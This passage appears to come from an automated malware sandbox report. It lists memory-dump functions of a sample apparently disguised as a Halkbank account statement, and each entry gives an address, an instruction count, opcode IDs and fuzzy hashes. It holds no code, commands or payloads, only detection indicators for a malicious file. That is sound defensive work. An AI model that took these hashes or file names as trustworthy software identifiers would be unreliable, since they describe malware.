Instruction Fuzzy Hash: B451B27002178ACF93303FA0B5AC52A7BB5FB0F7277606C01E19E90458DBBA5884EB52

Uniqueness

Uniqueness Score: -1.00%

Function 0100D3D0 Relevance: .2, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d246390e7ee6e9dd4205407e45df1daf2f496702b79d6cac8aeb71124cea0dbb
Instruction ID: f4b5b9f7aebeadf00294548890203fde5f665edc573c4fd669407d96963c8b7a
Opcode Fuzzy Hash: d246390e7ee6e9dd4205407e45df1daf2f496702b79d6cac8aeb71124cea0dbb
Instruction Fuzzy Hash: 4351A17002178ACF93303FA0B5AC52A7BB5FB0F7277606C01E19E94458DBBA5884EB52

Uniqueness

Uniqueness Score: -1.00%

Function 0100E7B9 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0907c8d36a7f6c630b0f1761c06230ebbb096ba52cbfb0e0b499f10137a0b1bf
Instruction ID: 5581c90f854b884fdc28863de870e7782b3a307b4187e538145c9c857690e00c
Opcode Fuzzy Hash: 0907c8d36a7f6c630b0f1761c06230ebbb096ba52cbfb0e0b499f10137a0b1bf
Instruction Fuzzy Hash: 80612674E01318CFDB25DFA5D848AADBBB2FF48304F208529D849AB395DB395986CF41

Uniqueness

Uniqueness Score: -1.00%

Function 0100D719 Relevance: .2, Instructions: 150COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a6e4b319bd259cfbfb6bbd6dd2798840bb97b11722408ed6d7457209f340476
Instruction ID: 7b46ee54e7616176b07a784ef15eb1e8734c4c28fd1b204ae3d0928443461931
Opcode Fuzzy Hash: 4a6e4b319bd259cfbfb6bbd6dd2798840bb97b11722408ed6d7457209f340476
Instruction Fuzzy Hash: 9851F274E012088FDB05EFE9D594A9DBBF2BF89300F149529E448AB294DB349982CF65

Uniqueness

Uniqueness Score: -1.00%

Function 0663E110 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9220cd90a679b3975efe7a505dedc31c8f97a6c3c9ce50745376ef6b6920096f
Instruction ID: c050932e00a86d3cbc3f3dd115d5f571937a91fdf5ea08e9bd12d6360992df40
Opcode Fuzzy Hash: 9220cd90a679b3975efe7a505dedc31c8f97a6c3c9ce50745376ef6b6920096f
Instruction Fuzzy Hash: A941713590131ACFD744AF70D45D7EEBBB1EF4A306F005829D206662E0CBB81A85CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 0100CD70 Relevance: .1, Instructions: 136COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4293f20f333b9463ad705bb849c0d3de38404145748284710ee6585c0b2ffb2
Instruction ID: 393eb6d82511293f30577e98c1639512f12e8f7fd12ca94e9b184da6bf5a7ce3
Opcode Fuzzy Hash: d4293f20f333b9463ad705bb849c0d3de38404145748284710ee6585c0b2ffb2
Instruction Fuzzy Hash: DC518274E01218DFDB54DFA9D98499DBBF2FF89310F248169E819AB365DB30A901CF50

Uniqueness

Uniqueness Score: -1.00%

Function 01003960 Relevance: .1, Instructions: 134COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2a7b8d6fa0bb2f93e4f207543a28f1204e02d95a8261ccf96adf0c4d1ae5f07d
Instruction ID: f8f3a0b3f86a3bae78b7de1823678dc557cd8c5de749c791bbcc0ea79ade120b
Opcode Fuzzy Hash: 2a7b8d6fa0bb2f93e4f207543a28f1204e02d95a8261ccf96adf0c4d1ae5f07d
Instruction Fuzzy Hash: AE519574E01608CFCB49DFA9D89499DBBF2FF89304B209569E809AB364DB31AD41CF40

Uniqueness

Uniqueness Score: -1.00%

Function 01009AC3 Relevance: .1, Instructions: 123COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 983ff0494a59061572d633b74169060af58f96460d99fc320ab060826afd23c1
Instruction ID: dddc90557e7a7bc1f023194d6ad185c12b5384b60e4991db1a5f49bda26b730a
Opcode Fuzzy Hash: 983ff0494a59061572d633b74169060af58f96460d99fc320ab060826afd23c1
Instruction Fuzzy Hash: 43419E31A0424DDFEF16CFA8C844A9EBFF2EF49314F048155E9999B2A6D335E950CB90

Uniqueness

Uniqueness Score: -1.00%

Function 06639E99 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: af3250f25a62dfa0a3042002304b6a7bc9eb3ca2238903dd241547f23d11d8c9
Instruction ID: 1f2c329fd931d66372074c94c91b937627e453472af85d13cd9c90aa2f8b7627
Opcode Fuzzy Hash: af3250f25a62dfa0a3042002304b6a7bc9eb3ca2238903dd241547f23d11d8c9
Instruction Fuzzy Hash: 9141F0B4E01219CFDB44DFA4D5846EDBBB2FF49304F209129E409AB394EB785A46CF44

Uniqueness

Uniqueness Score: -1.00%

Function 06639EA8 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d1ceecf033e352537ded4e2279830d3d7c66a5183f2fdee8c2c72f3e33c0cd6e
Instruction ID: d9f50968ec40e8b2c1d41e25b4c8da76ba75ed94571bd364908bc5e50773400d
Opcode Fuzzy Hash: d1ceecf033e352537ded4e2279830d3d7c66a5183f2fdee8c2c72f3e33c0cd6e
Instruction Fuzzy Hash: 6841FF74E01219CFDB44DFA9D5846EDBBF2BF88304F209129E409A7398EB785A46CF54

Uniqueness

Uniqueness Score: -1.00%

Function 01006790 Relevance: .1, Instructions: 111COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52d64ddd209f3d1e0b0d3aee0d0f5fd7604a03fa28e7a24bc3a940055b70a3a4
Instruction ID: 2b8e1302501e126f4e2877576cdc9a507439ef0f9bc044b04f192ec5dffb0501
Opcode Fuzzy Hash: 52d64ddd209f3d1e0b0d3aee0d0f5fd7604a03fa28e7a24bc3a940055b70a3a4
Instruction Fuzzy Hash: 3C41F370A00208DFDB26CF58C804BAA7BF7FF44300F04856AE4859B291D776DE55CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01004E20 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf224f9aafdc77d93a1bfb9c08acc9d9312631f00a5647ede43bdb2b6a07fb00
Instruction ID: 2ae8aadcd1353f648a89f1d13e7af92b17e3fa5e7b8cc08b9e59a535efc67770
Opcode Fuzzy Hash: cf224f9aafdc77d93a1bfb9c08acc9d9312631f00a5647ede43bdb2b6a07fb00
Instruction Fuzzy Hash: DA316F31704159AFDF169FA8D844AAE7BA6FF88310F104058FA85CB295CF39CD61DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 0663E100 Relevance: .1, Instructions: 92COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00dd8ffc665747b163fd9e90639242c020ad4d58b7889d9e6c372aeac8bd733b
Instruction ID: 1a43d112c382190db96eccc273c0e20a770ee45762c71271b6ea6bb714a1ca2c
Opcode Fuzzy Hash: 00dd8ffc665747b163fd9e90639242c020ad4d58b7889d9e6c372aeac8bd733b
Instruction Fuzzy Hash: DF317F75905319CFE740AFB0D85C3EEBBB1EB4A316F00885AD106662E1CB791685CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 01007740 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04105fd4cff4e66b32c6c7841ac3429c99de955cf704c48985a6c0c40866259a
Instruction ID: 0688f641c2136e1db360538e71829295dbea425b30241ef64c5d0db7e3d9d508
Opcode Fuzzy Hash: 04105fd4cff4e66b32c6c7841ac3429c99de955cf704c48985a6c0c40866259a
Instruction Fuzzy Hash: A4219D307402114BFBA71A2D8894A7E36C6AFC8A58F244478D9C6CB3D5EE2DE942D781

Uniqueness

Uniqueness Score: -1.00%

Function 0100A869 Relevance: .1, Instructions: 85COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eb8ee7a9b9a162455997fb20e5071f711026bd600ca9830ab6ccc69072abb8e7
Instruction ID: 02bdfbdd43e8aa30e9e1617b3befd1c5b01b04f78065bbb827d7d16f13f97957
Opcode Fuzzy Hash: eb8ee7a9b9a162455997fb20e5071f711026bd600ca9830ab6ccc69072abb8e7
Instruction Fuzzy Hash: 8C317C75B00609CFDB09CF69C884AAEBBF6BF89710F158158E595D73A1DB34AD02CB90

Uniqueness

Uniqueness Score: -1.00%

Function 010020B8 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7112e9dc100257bcd23606afa6997948ed6c637b712dfe9e755885226336bac
Instruction ID: 0d4ab0325c67b4e84ef5515d7a940a346d76255482941bbf80c1f88c724e31f8
Opcode Fuzzy Hash: f7112e9dc100257bcd23606afa6997948ed6c637b712dfe9e755885226336bac
Instruction Fuzzy Hash: 0421B035A00106AFDB15DF68C8849EE37A5EF99354F10C55AE94D9B280DF30EA0ACBC2

Uniqueness

Uniqueness Score: -1.00%

Function 0100FDA8 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a77814e84be27ab254fd15afbaff5f482534325458ab5a1aea334769379cc701
Instruction ID: 3a8d0c57ca48ec89d5b4e3952dfe6fba1a7a350d918569c8be526bd310be6d22
Opcode Fuzzy Hash: a77814e84be27ab254fd15afbaff5f482534325458ab5a1aea334769379cc701
Instruction Fuzzy Hash: 81218531E0024B8BEB26EF68C0556EEBBF1AF48B04F20446DC541BB785CB759D05DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F6D404 Relevance: .1, Instructions: 75COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220885324.0000000000F6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f6d000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2edd32c32967c627cbdb89e698843e5113c1c875ce1da5562816e854d78aa8bd
Instruction ID: 1196138caf3759494f115f0980b3d5d4ed1b89cec21660042b6b938f9a07d701
Opcode Fuzzy Hash: 2edd32c32967c627cbdb89e698843e5113c1c875ce1da5562816e854d78aa8bd
Instruction Fuzzy Hash: 042103B2E04244EFDB05DF14D9C0B26BF65FB98324F34C669E9090B246C736EC16E6A1

Uniqueness

Uniqueness Score: -1.00%

Function 01005AC8 Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 45ea2ab829c9abe001a14746954c47090458784264c391db96c9b9c8beb9a533
Instruction ID: 9889c11c2a32397e1a39c4d499b5564d4e3342bac5ee06342d812f3f03453ac1
Opcode Fuzzy Hash: 45ea2ab829c9abe001a14746954c47090458784264c391db96c9b9c8beb9a533
Instruction Fuzzy Hash: 2221F6357009118FD7269E69C85452EB792FF89750B1441A9E946CB394CF34EC028FC0

Uniqueness

Uniqueness Score: -1.00%

Function 00F7D044 Relevance: .1, Instructions: 72COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220939560.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f7d000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7bc127565443cabaacdbb97167a785ee522ad86fab5d6a0455c1a43822b866aa
Instruction ID: 258a042dd10093a98c028b179b2382b38e3506fe57de41b5e8e8912257ad360d
Opcode Fuzzy Hash: 7bc127565443cabaacdbb97167a785ee522ad86fab5d6a0455c1a43822b866aa
Instruction Fuzzy Hash: A82103B1904204DFDB10CF24D9C4B26BB75FF84324F64C56AE84D0B245C776D846EA62

Uniqueness

Uniqueness Score: -1.00%

Function 06639B40 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14575c7c1b18d73dc27cebb81c41afab9dda533ee9935b8b1fcf57c7a3d46141
Instruction ID: e4ba38a8610f2fbef1c47c7c4f85101b8fd16bac9130ecf4902c2eb1c4dce55b
Opcode Fuzzy Hash: 14575c7c1b18d73dc27cebb81c41afab9dda533ee9935b8b1fcf57c7a3d46141
Instruction Fuzzy Hash: 4611E9327082946FDB866F78582456F7FB7AFC5210B044469E505D73C2DF344D06C3A6

Uniqueness

Uniqueness Score: -1.00%

Function 01003A45 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b51648ed16ccc04e306e55afda7f25616ada519f6c5aeb85ad832827199c1c5
Instruction ID: c776f9d2f4a2e49e9ec607b16ecaaf7c92b2292810c825ce0cbab3162bb577d5
Opcode Fuzzy Hash: 5b51648ed16ccc04e306e55afda7f25616ada519f6c5aeb85ad832827199c1c5
Instruction Fuzzy Hash: 6731C478E05209CFCB04EFA8E58489DBBB2FF49305B208569E849AF364DB31AD41CF40

Uniqueness

Uniqueness Score: -1.00%

Function 01004E11 Relevance: .1, Instructions: 66COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3b778eb7af2dd1918fe4763e421f8d2bbb7b7687a393a21cb5a5286106bd2e8
Instruction ID: 64eab9ddbae6f90a297fa79846ad3f463535a7b1806169b05d1d021b9db6ea78
Opcode Fuzzy Hash: d3b778eb7af2dd1918fe4763e421f8d2bbb7b7687a393a21cb5a5286106bd2e8
Instruction Fuzzy Hash: 1721F3317081589FEB12EF68D844B6A3BA2FB88310F104068FA45CB285CB38CD10CBE4

Uniqueness

Uniqueness Score: -1.00%

Function 01001F60 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 067cada3ef2f0beee2a2d2da1755a389182d9539ed5b16a0b9f3ee31132793e0
Instruction ID: 648af8dcd6e2edb3a9f93399f374ce954eba6558ee507cbbdb13d32ef79c1ee2
Opcode Fuzzy Hash: 067cada3ef2f0beee2a2d2da1755a389182d9539ed5b16a0b9f3ee31132793e0
Instruction Fuzzy Hash: AA214874C0420A8FCB12EFA8C4581EEBFF1FF59314F2441AAD884B7264EB319A41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0663E510 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8288415cfe48626533b50b668fc720472b4b2021efa970121989642aae8b6316
Instruction ID: 4b83eca8eafa5f046c48e3641881a0cfcc54f36cbe89a9906b551343cdd5d59d
Opcode Fuzzy Hash: 8288415cfe48626533b50b668fc720472b4b2021efa970121989642aae8b6316
Instruction Fuzzy Hash: 5911E5387092944FD7650E7958641BBBFEBAFCA320B1484B7E146C3286D92A8C0683B1

Uniqueness

Uniqueness Score: -1.00%

Function 0100E2D1 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: edd39d2420f476454c13261a4a06def155b75b6690a272205c5cb01e00a2c781
Instruction ID: 905ceef5fa3e9e898d5cd2db264791d7acfe8bc0ad4dbb651d5624f13cb13f16
Opcode Fuzzy Hash: edd39d2420f476454c13261a4a06def155b75b6690a272205c5cb01e00a2c781
Instruction Fuzzy Hash: AB214A70901109DFDB45EFA8D88579EBFF2FB44304F20C6A9E0489B365EB345A468B81

Uniqueness

Uniqueness Score: -1.00%

Function 00F6D3FF Relevance: .1, Instructions: 56COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220885324.0000000000F6D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F6D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f6d000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c71a23e6f2891b0ac880f649e89db06405e67f0af756f6891ce480dd6b8289f7
Instruction ID: 6f0849d2b97ee87ec8481509bfbcdc8f4d32e4c1d857b256f9c289f4cdb8ffec
Opcode Fuzzy Hash: c71a23e6f2891b0ac880f649e89db06405e67f0af756f6891ce480dd6b8289f7
Instruction Fuzzy Hash: 1D11D376904280DFCB16CF10D5C4B16BF71FB94324F24C6A9D9490B656C33AE85ADBA1

Uniqueness

Uniqueness Score: -1.00%

Function 06639311 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6845ec7b82aa3a1cdea1fdf0263608f71d1d249fe7996e95aed5727cf6ea74b7
Instruction ID: fa1936f1b79d2cfa80bc98400e8cf6f08296942ac03ef35a423cd85eeb8292b0
Opcode Fuzzy Hash: 6845ec7b82aa3a1cdea1fdf0263608f71d1d249fe7996e95aed5727cf6ea74b7
Instruction Fuzzy Hash: 44112A74E00159CFEB00EFE8D860BAEBBB1AB48314F409161E94CA7385E6709E828F51

Uniqueness

Uniqueness Score: -1.00%

Function 0100E2E0 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0d895eed7287470d2233e1ef2125cdaa191b47f6c0668fcb3d574564d763970
Instruction ID: 7e5f78ba3072f7b3306ed451640628c575d5ed0307a8f7d99001dce446401a31
Opcode Fuzzy Hash: b0d895eed7287470d2233e1ef2125cdaa191b47f6c0668fcb3d574564d763970
Instruction Fuzzy Hash: 72115170D00109DFDB44EFA8D98569EBFF2FF44304F10C6A9E0489B355EB345A459B81

Uniqueness

Uniqueness Score: -1.00%

Function 01001FB8 Relevance: .1, Instructions: 54COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04bc8a579136c0f5843b292ef4091a9ab1fa9c493c5b117de3b2fa5f3cb44d51
Instruction ID: c6d92080f21baadca22eca35150dfa7e3b9a7888d3fb873d2ac53f94995a7d36
Opcode Fuzzy Hash: 04bc8a579136c0f5843b292ef4091a9ab1fa9c493c5b117de3b2fa5f3cb44d51
Instruction Fuzzy Hash: E0214774C0460A8FCB11EFA8D5444EEBFF1FF0A300F2041AAD885B7265EB351981CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00F7D03F Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3220939560.0000000000F7D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00F7D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_f7d000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ecdbd2196c02b2d36a90ebf2b22d30fffd8b7da1097997a33617a95b9f44a3d
Instruction ID: 34d5800936e16a6c2413f28b3e99c3f23af3ad1ee277f5f00546431e4f126e08
Opcode Fuzzy Hash: 5ecdbd2196c02b2d36a90ebf2b22d30fffd8b7da1097997a33617a95b9f44a3d
Instruction Fuzzy Hash: B511BB75904284CFDB11CF10D9C4B15BBB2FB84324F28C6AAD8494B656C33AD84ADB62

Uniqueness

Uniqueness Score: -1.00%

Function 0100565F Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2448f2875d67112dd3ede866e7da05d78f7249f01b67dd91051bff339ac089a5
Instruction ID: 9fdf667d1944d21ca41baca86ddc55559cca147b74194ae36e2f14f500eb65db
Opcode Fuzzy Hash: 2448f2875d67112dd3ede866e7da05d78f7249f01b67dd91051bff339ac089a5
Instruction Fuzzy Hash: 8A01B572700115ABDB129E55DC00BAF3BEADBCC751F248029F555C7284DE7999029B90

Uniqueness

Uniqueness Score: -1.00%

Function 06632AC1 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e70222a51b03f90732bfed3f6065eb3561767be335d92dad04722bfaf8a88943
Instruction ID: 7246b452fd8516dc02f779960929a56252957e1dbe51ab1766e60b10826b5fd1
Opcode Fuzzy Hash: e70222a51b03f90732bfed3f6065eb3561767be335d92dad04722bfaf8a88943
Instruction Fuzzy Hash: 4E019275E002218FCBA0EF78D40895A7BF9EF49355B2005A9E81ADB315E735CD02CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 06632A38 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3224948863.0000000006630000.00000040.00000800.00020000.00000000.sdmp, Offset: 06630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6630000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2712cbc6e391ecdbe6981bced3ceb12412bca123d88f0abfd27f90f277069979
Instruction ID: cfd72af6c229cb9b3adf90d3dec6eeb7c0cebaedfcba5bf9894f1c6ba72b2859
Opcode Fuzzy Hash: 2712cbc6e391ecdbe6981bced3ceb12412bca123d88f0abfd27f90f277069979
Instruction Fuzzy Hash: 6401E470E0022A9FCF54EFB9C8106AEBBB5AF48200F10852AD419E7250E7385A028BD0

Uniqueness

Uniqueness Score: -1.00%

Function 01002068 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3221147522.0000000001000000.00000040.00000800.00020000.00000000.sdmp, Offset: 01000000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1000000_Halkbank_Ekstre_20230426_075819_154055.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ab4d233543e305cc12247cda6c560dc49e6e9dcf16538d8425bf7b316c378346
Instruction ID: 9f06c2be6a7c9c062da335d92d66f97fec08a80677f5f66751b54b8039c8eccc
Opcode Fuzzy Hash: ab4d233543e305cc12247cda6c560dc49e6e9dcf16538d8425bf7b316c378346
Instruction Fuzzy Hash: 3BE09232C243AA5BC702A7B098504EEBF389D9222475541B2D058AB042E720268ECBB1

Uniqueness

Uniqueness Score: -1.00%

Function 01002078 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

